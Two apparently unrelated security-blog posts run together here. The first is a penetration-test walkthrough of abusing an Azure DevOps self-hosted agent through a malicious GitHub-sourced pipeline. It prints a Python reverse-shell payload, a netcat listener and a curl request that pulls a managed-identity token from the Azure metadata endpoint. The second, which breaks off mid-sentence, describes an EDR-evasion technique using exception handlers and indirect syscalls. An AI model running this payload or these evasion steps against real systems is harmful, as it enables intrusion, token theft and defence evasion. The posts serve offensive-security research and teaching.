CI/CD Attack Path: Reverse Shell via Azure DevOps and GitHub Integration on a Self-Hosted Agent

Attackers can exploit improperly secured Azure DevOps pipelines to execute malicious code on self-hosted on-premises agents creating a direct path from cloud environments to internal infrastructure. In this post, we’ll walk through a real-world inspired scenario that demonstrates exactly how such an attack can unfold. By compromising a machine in the environment through methods like local enumeration or credential dumping, we assume the attacker is able to extract valid credentials for an Azure DevOps user. With those credentials, the attacker gains access to the DevOps portal, creates a custom pipeline that points to a malicious GitHub repository, and ultimately achieves a reverse shell on the underlying infrastructure. This is a scenario where the Identity doesn’t have permission on DevOps Repo and Agent Pools are misconfigured to accept all the pipelines to let them connect with them. This attack path highlights how lazy access controls, combined with overly permissive pipeline configurations, can result in full compromise of internal systems and sensitive cloud-connected workloads. We start from an assumed breach where we recovered (found, stole, leaked, social engineered…) credentials, but we only know the Tenant ID for the impacted user, not the domain. This is usually obtained when clicking on Sign-in with Microsoft. For this scenario, let’s assume the user is synced with Entra ID. This happens when the environment leverages Entra ID Connect (Azure AD Connect), which allows users to login on-prem and login with the same password. This is a commonplace practice these days due to hybrid infrastructure requirements. With just having the Tenant ID, we can find the Domain name using the link below, thanks to Dr. Nestori Syynimaa. https://aadinternals.com/osint/ Provide the Tenant ID and click on Get Information. It will give the tenant’s name, which can be used to login via Azure portal. Now log into the DevOps portal using the credentials and if the user has access to any of the projects or even has any permissions, this will list organizations and its respective projects based on the permissions. Login: https://dev.azure.com/ In the “Project Settings”, click on Agent pools. Take note of the agent’s name. The name “Azure Pipelines” is the Agent’s pool that is owned and managed by Microsoft. The term “Default” is just a pool name that can have self-hosted agents. We can create new pools like one highlighted. Let’s enumerate the pipeline to check if there are any possible ways to exploit it. As in the screenshot below, we do have one pipeline. Click on the pipeline and click on Edit. Click on Edit to check the pipeline configurations. Since the pipeline is attached with the Azure DevOps Repo and the current logged in user doesn’t have Repo Permissions, this pipeline does not let us see the configuration, nor can we edit the YAML file. But luckily, this organization has the Classic Editor option enabled, which we can use. This Classic Editor allows us to create pipelines without writing and YAML files, we just need to use the built-in task. Once we click on Classic Editor, we see an option for selecting the source. Since we don’t have access on Azure DevOps, we can utilize an external source like GitHub and run the pipeline by connecting the self-hosted agent. Create a new GitHub and add the following files to your GitHub repo, which will be used by the pipeline. Update the name of the pool with the agent’s name below and save it as azure-pipeline.yml. trigger:- main pool:  name: <AGENTNAME>  # Specifies the self-hosted agent pool steps:- script: |    sudo apt-get update -y    sudo apt-get install git -y  # Install Git if not already available  displayName: ‘Install Git’ – script: |    # Install Python 3.11 if not installed    sudo apt install python3  displayName: ‘Install Python 3.11 if not present’  – script: |    python3 <FILENAME>.py  # Run python File  displayName: ‘Run <FILENAME>.py’ AGENTNAME will be the one we found from the project’s settings agent pool list. And, FILENAME.py will be our malicious file that will run our reverse shell command. Create a file with any name, like test.py, containing the payload below for our reverse shell. This will run when the pipeline is started. import socket subprocess, os, ptys=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((“<IPADDRESS>”,<PORT>))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)pty.spawn(“sh”) Our Malicious Repo is ready. Now create a personal access token (PAT) for your GitHub account, which will be used to create a connection for the pipeline source. Click on your GitHub account icon and click on settings. Now scroll down and click on Developer Settings. Click on Personal access tokens and select Tokens (classic). Then click on Generate new token (Classic). Add a note in the note section and select all necessary permissions, then generate a token. Copy the token and save it in a safe location. Now we have all the pre-requisites for running a pipeline; let’s get back to pipelines in Azure DevOps and click on edit. Then click on Use the classic editor. Select Get sources and GitHub. Now copy and paste the GitHub PAT by clicking on Authorize with a GitHub personal access token. This creates a new service connection between Azure DevOps pipeline and the GitHub repository. Paste the PAT that we created for the GitHub. Now let’s have the listener ready for reverse shell using net cat or any listener of your choice (in this example, we use net cat). Once we authorize and save it, we will be running the pipeline, which gives us a connection back to the listener. Command: nc -nvlp <port> Output: Now select the GitHub Repository where we have uploaded the files and click on Save. Now go back to the pipelines and click Run pipeline to start the pipeline. Once the pipeline starts running, we should receive a connection in the listener in a minute if everything is configured correctly. And here we have our reverse shell. To check if this system has managed identity or not, we can execute the cURL request below to get the ARM access token. curl -H Metadata:true –noproxy “*” “http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/” Output In an actual penetration test, there are multiple scenarios

LayeredSyscall – Abusing VEH to Bypass EDRs

Asking any offensive security researcher how an EDR could be bypassed will result one of many possible answers, such as removing hooks, direct syscalls, indirect syscalls, etc. In this blog post, we will take a different perspective to abuse Vectored Exception Handlers (VEH) as a foundation to produce a legitimate thread call stack and employ indirect syscalls to bypass user-land EDR hooks. Disclaimer: The research below must only be used for ethical purposes. Please be responsible and do not use it for anything illegal. This is for educational purposes only. Introduction EDRs use user-land hooks that are usually placed in ntdll.dll or sometimes within the kernel32.dll that are loaded into every process in the Windows operating system. They implement their hooking procedure typically in one of two ways: Hooks are not placed in every function within the target dll. Within ntdll.dll, most of the hooks are placed in the Nt* syscall wrapper functions. These hooks are often used to redirect the execution safely to the EDR’s dll to examine the parameters to determine if the process is performing any malicious actions. Some popular bypasses for circumventing these hooks are: There are more bypass techniques, such as blocking any unsigned dll from being loaded, blocking the EDR’s dll from being loaded by monitoring LdrLoadDll, etc. On the flipside, there are detection strategies that could be employed to detect and perhaps prevent the above-mentioned evasion techniques: The research presented below attempts to address the above detection strategies. LayeredSyscall – Overview The general idea is to generate a legitimate call stack before performing the indirect syscall while switching modes to the kernel land and also to support up to 12 arguments. Additionally, the call stack could be of the user’s choice, with the assumption that one of the stack frames satisfies the size requirement for the number of arguments of the intended Nt* syscall. The implemented concept could also allow the user to produce not only the legitimate call stack but also the indirect syscall in between the user’s chosen Windows API, if needed. Vectored Exception Handler (VEH) is used to provide us with control over the context of the CPU without the need to raise any alarms. As exception handlers are not widely attributed as malicious behavior, they provide us with access to hardware breakpoints, which will be abused to act as a hook. To note, the call stack generation mentioned here is not constructed by the tool or by the user, but rather performed by the system, without the need to perform unwinding operations of our own or separate allocations in memory. This means the call stack could be changed by simply calling another Windows API if detections for one are present. VEH Handler #1 – AddHwBp We register the first handler required to set up the hardware breakpoint at two key areas, the syscall opcode and the ret opcode, both within Nt* syscall wrappers within ntdll.dll. The handler is registered to handle EXCEPTION_ACCESS_VIOLATION, which is generated by the tool, just before the actual call to the syscall takes place. This could be performed in many ways, but we’ll use the basic reading of a null pointer to generate the exception. However, since we must support any syscall that the user could call, we need a generic approach to set the breakpoint. We can implement a wrapper function that takes one argument and proceeds to trigger the exception. Furthermore, the handler can retrieve the address of the Nt* function by accessing the RCX register, which stores the first argument passed to the wrapper function. Once retrieved, we perform a memory scan to find out the offset where the syscall opcode and the ret opcode (just after the syscall opcode) are present. We can do this by checking that the opcodes 0x0F and 0x05 are adjacent to each other like in the code below. Syscalls in Windows as seen in the following screenshot are constructed using the opcodes, 0x0F and 0x05. Two bytes after the start of the syscall, you can find the ret opcode, 0xC3. Hardware breakpoints are set using the registers Dr0, Dr1, Dr2, and Dr3 where Dr6 and Dr7 are used to modify the necessary flags for their corresponding register. The handler uses Dr0 and Dr1 to set the breakpoint at the syscall and the ret offset. As seen in the code below, we enable them by accessing the ExceptionInfo->ContextRecord->Dr0 or Dr1. We also set the last and the second bit of the Dr7 register to let the processor know that the breakpoint is enabled. As you can see in the image below, the exception is thrown because we are trying to read a null pointer address. Once the exception is thrown, the handler will take charge and place the breakpoints. Take note, once the exception is triggered, it is necessary to step the RIP register to the number of bytes required to pass the opcode that generated the exception. In this case, it was 2 bytes. After that, the CPU will continue the rest of the exception and this will perform as our hooks. We will see this performed in the second handler below. VEH Handler #2 – HandlerHwBp This handler contains three major parts: Part #1 – Handling the Syscall Breakpoint Hardware breakpoints, when executed by the system, generate an exception code, EXCEPTION_SINGLE_STEP, which is checked to handle our breakpoints. In the first order of the control flow, we check if the exception was generated at the Nt* syscall start using the member ExceptionInfo->ExceptionRecord->ExceptionAddress, which points to the address where the exception was generated. We proceed to save the context of the CPU when the exception was generated. This allows us to query the arguments stored, which according to Microsoft’s calling convention, are stored in RCX, RDX, R8, and R9, and also allows us to use the RSP register to query the rest of the arguments, which will be further explained later. Once stored, we can change the RIP to point to our demo function; in